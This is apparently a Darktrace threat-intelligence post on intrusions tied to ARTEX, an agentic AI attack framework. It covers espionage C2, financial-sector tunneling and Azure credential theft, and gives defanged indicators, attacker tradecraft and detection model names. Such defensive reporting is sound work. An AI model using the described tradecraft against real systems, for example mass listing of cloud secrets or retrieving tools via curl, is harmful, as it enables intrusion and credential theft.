
Case 1: Espionage-linked activity

Darktrace observed activity associated with BLOODALCHEMY command-and-control (C2) infrastructure in two customer environments. In one environment, five devices communicated with nginxmysql[.]com and 45.153.126[.]223 between October 23 and November 2. Both indicators had previously been linked to China-nexus espionage activity involving ARTEX [4].

The connections were accompanied by suspicious beaconing, repeated successful connections and unusual self-signed TLS. One system began making suspicious TLS connections to nginxmysql[.]com on October 23. Beaconing followed on October 24, and SMB scanning appeared later in the sequence. Other affected systems subsequently communicated with previously unseen external endpoints.

Prior to the observed C2, Darktrace detected curl requests retrieving executable and script content including /systemd, /wazuh, linux_amd64, u.sh and q.sh. Related telemetry included DRSGetNCChanges activity consistent with DCSync, LDAP enumeration, DNS zone transfers, network scanning, certificate downloads and SMB writes involving start.bat.

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Figure 1: Darktrace investigation showing suspicious network activity associated with infrastructure linked to reported ARTEX activity.

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Figure 2: Darktrace detection showing anomalous self-signed TLS activity during the espionage-linked investigation.

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BLOODALCHEMY has been reported in more than one China-nexus cluster [5]. SoftEther infrastructure observed in one environment provided another point of correlation with reported VAPOR PANDA tradecraft. The moderate-confidence assessment tying this to a Chinese nexus threat actor is based on infrastructure, victim context, tradecraft behavior that followed the initial connection, and public reporting.

Case 2: Financial-sector activity

In early November, Darktrace observed activity in two financial-sector environments that overlap with reported ARTEX infrastructure. On November 5, a server connected to 213.111.150[.]145:8099 and downloaded wisp-agent, associated with WISP C2 activity.

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In a second environment, a device attempted connections to 85.11.167[.]52 on November 1 and 2. The connections occurred alongside beaconing to new and rare destinations, anomalous TLS, possible tunneling and unusual package downloads.

The device also communicated with temp[.]sh, ssh.localhost[.]run, localhost[.]run, termbin[.]com, pastebin[.]com and GitHub-hosted release infrastructure. The sequence showed potential tooling retrieval, C2, tunneling and use of external services capable of staging or moving data.

Figure 3: Darktrace investigation showing connections to new and rare external destinations during the financial-sector activity.

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Case 3: Credential collection in Azure

On October 20, Darktrace observed a sweep of credential collection in a customer’s Azure environment that is consistent with ARTEX use. The intrusion began with connections to the virtual network from 43.98.196[.]73 (Alibaba Cloud). Open-source scanning data associates the address with ARTEX.

A compromised user identity made requests to the Azure Resource Manager API, though how it was compromised is unknown. The requests listed keys and secrets across API Management, web and function apps, Cognitive Services, Event Hubs, storage accounts and a managed Kubernetes cluster. With those credentials the attacker compromised multiple application identities. The attacker then used the application identities and the user identity to retrieve more credentials, change firewall and security rules and run scripts on virtual machines. Microsoft Defender alerts showed attempted execution of scripts related to Mimikatz and Impacket.

In a cloud environment, such privileged and enumerative operations are potentially indistinguishable from legitimate administrative actions. Consequently, the sequence and context of such operations signified more than any specific API call. There was no C2 traffic to match, and listing keys and using application identities are also what administrators and automation do. A compromised user, credential retrieval across several Azure services, new application identities, more credential collection and changes to security controls only made sense together, and by then access was spreading through the cloud environment.

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Figure 4: Darktrace Advanced Search showing Azure AD operation names associated with the activity.

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Figure 5: Darktrace Advanced Search showing the Azure Resource Manager action used to execute scripts.
Figure 6: Darktrace Device Event log window showing the triggered models related to the suspicious Azure activity.

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Shared tooling weakens attribution signals

The three cases looked different on the network: BLOODALCHEMY infrastructure and espionage-consistent tradecraft, WISP infrastructure in financial-sector systems, and Azure identity and control-plane activity with no C2 at all.

Shared tooling has complicated attribution for years, and ARTEX adds to it because the framework carries out more of the attack, so reconnaissance, exploitation attempts and some post-compromise activity can look the same whoever set the objective. Attribution still needs infrastructure, malware, victimology, timing and the sequence of behavior inside the environment, and an ARTEX link is one input to that. Moreover, the behavior and the agent will still be shaped by the biases, preferences, and tradecraft of its operators.

At its core, ARTEX’s planner and worker agents identify and record facts, while exploring intents. However, the way the Large Language Model (LLM) chooses its next steps toward an objective is shaped fundamentally by the skills and tools available in its context. This includes its starting context, as well as various possible Model Context Protocol (MCP) plugins and user-injected context (e.g. user input mid-operation). Operators still have preferred tradecraft, and this preference shapes the pathways the harness will provide to the LLM in context prompts. Even on the same platform, customization based on operator preferences and goals will remain a key facet of campaign and actor identification.

Detection and response

Across the Darktrace cases, the stronger signals came from behavior after the connection: beaconing, abnormal TLS, reconnaissance, unusual authentication, tunneling, script retrieval, SMB activity and outbound transfer. Automated activity also produced compressed bursts of requests, sequential enumeration and repeated attempts with small changes.

With agentic tools reaching privileged access in under three hours, analysts may have only a short window to connect scanning or authentication activity to credential changes, new administrative access, tooling retrieval or lateral movement. Keeping network, identity and cloud telemetry together shows what happened before and after the first match, and whether a connection was noise or an intrusion moving toward privileged access.

In some of these cases, Darktrace's Autonomous Response took or recommended action against the activity, including blocking internal connectivity over specified ports, inhibiting outbound connections with likely C2 endpoints, and/or disabling SaaS/IaaS user accounts. While many of these recommended actions required human confirmation due to deployment configuration preferences, had these actions been applied autonomously at the time of alert, the scope of activity would have been limited, thereby giving analysts time to investigate and respond.

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Figure 7: Autonomous Response blocking suspicious firewall modification activity.

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Figure 8: Autonomous Response summary for affected cloud users during the intrusion.

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Figure 9: Autonomous Response taking action against unusual lateral movement activity on an affected device.

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Figure 10: Autonomous Response summary for affected network users during the time of the intrusion.

ARTEX won’t be the last of these frameworks. The next ones will come with new capabilities and defaults, but an intrusion still must interact with the target environment, and that shows up in how systems, identities and applications behave even after the indicator has aged out. The harder intrusions to catch will have no infrastructure to match, just ordinary API calls and legitimate identities. Detecting those depends on knowing what normal looks like for each identity and device. Containing abnormal activity at machine speed can stop an intrusion progressing while analysts establish impact and its extent. Autonomous Response does not replace that human analysis, but rather augments defender teams' capabilities by extending the window for investigation.

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Credit to Nathaniel Jones (SVP, Global Threat Intelligence), Eugene Chua (Principal Analyst), Sam Lister (Senior Security Researcher), Adam Potter (Associate Principal Cyber Analyst)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace model detections

·       Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

·       Anomalous Connection / Rare External SSL Self-Signed

·       Anomalous Connection / Suspicious Self-Signed SSL

·       Compromise / Large Number of Suspicious Successful Connections

·       Compromise / Suspicious Beaconing Behaviour

·       Compromise / Agent Beacon to New Endpoint

·       Compromise / Beacon to Young Endpoint

·       Compromise / SSL Beaconing to Rare Destination

·       Compromise / Suspicious TLS Beaconing To Rare External

·       Compromise / Possible Tunnelling to Bin Services

·       Device / Anomalous Github Download

·       Device / Anomalous Package Download

·       Device / Initial Attack Chain Activity

Indicators of compromise (IoCs)

nginxmysql[.]com

45.153.126[.]223

213.111.150[.]145

wisp-agent

85.11.167[.]52

43.98.196[.]73

192.121.47[.]20

www[.]ddduuuppp[.]com

89.46.234[.]50

sqlserver-sqlite[.]com

199.19.95[.]66

graphics-hook-filter64.dll

graphics-hook_config.bin

References

1.      Google. GTIG AI Threat Tracker - https://cloud.google.com/blog/topics/threat-intelligence/agentic-threat-activity-crosses-a-significant-threshold

2.      Federal Bureau of Investigation, Threat Overview of ARTEX Autonomous Penetration Testing Framework, FLASH-20261113-001, 13 November 2026: https://www.ic3.gov/CSA/2026/261113.pdf

3.      Microsoft Security Blog, Storm-0940 Uses ARTEX Agentic AI in ConnectWise Supply Chain Compromise: https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/

4.      CrowdStrike, VAPOR PANDA Uses ARTEX to Scale Global Campaign: https://www.crowdstrike.com/en-us/blog/vapor-panda-uses-artex-to-scale-global-campaign/

5.      Bitdefender, SilkParasite: Tracking a China-Nexus APT Across Central Asia: https://www.bitdefender.com/en-us/blog/businessinsights/silkparasite-tracking-china-nexus-apt-across-central-asia

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About the author
Nathaniel Jones
SVP, Global Threat Intelligence
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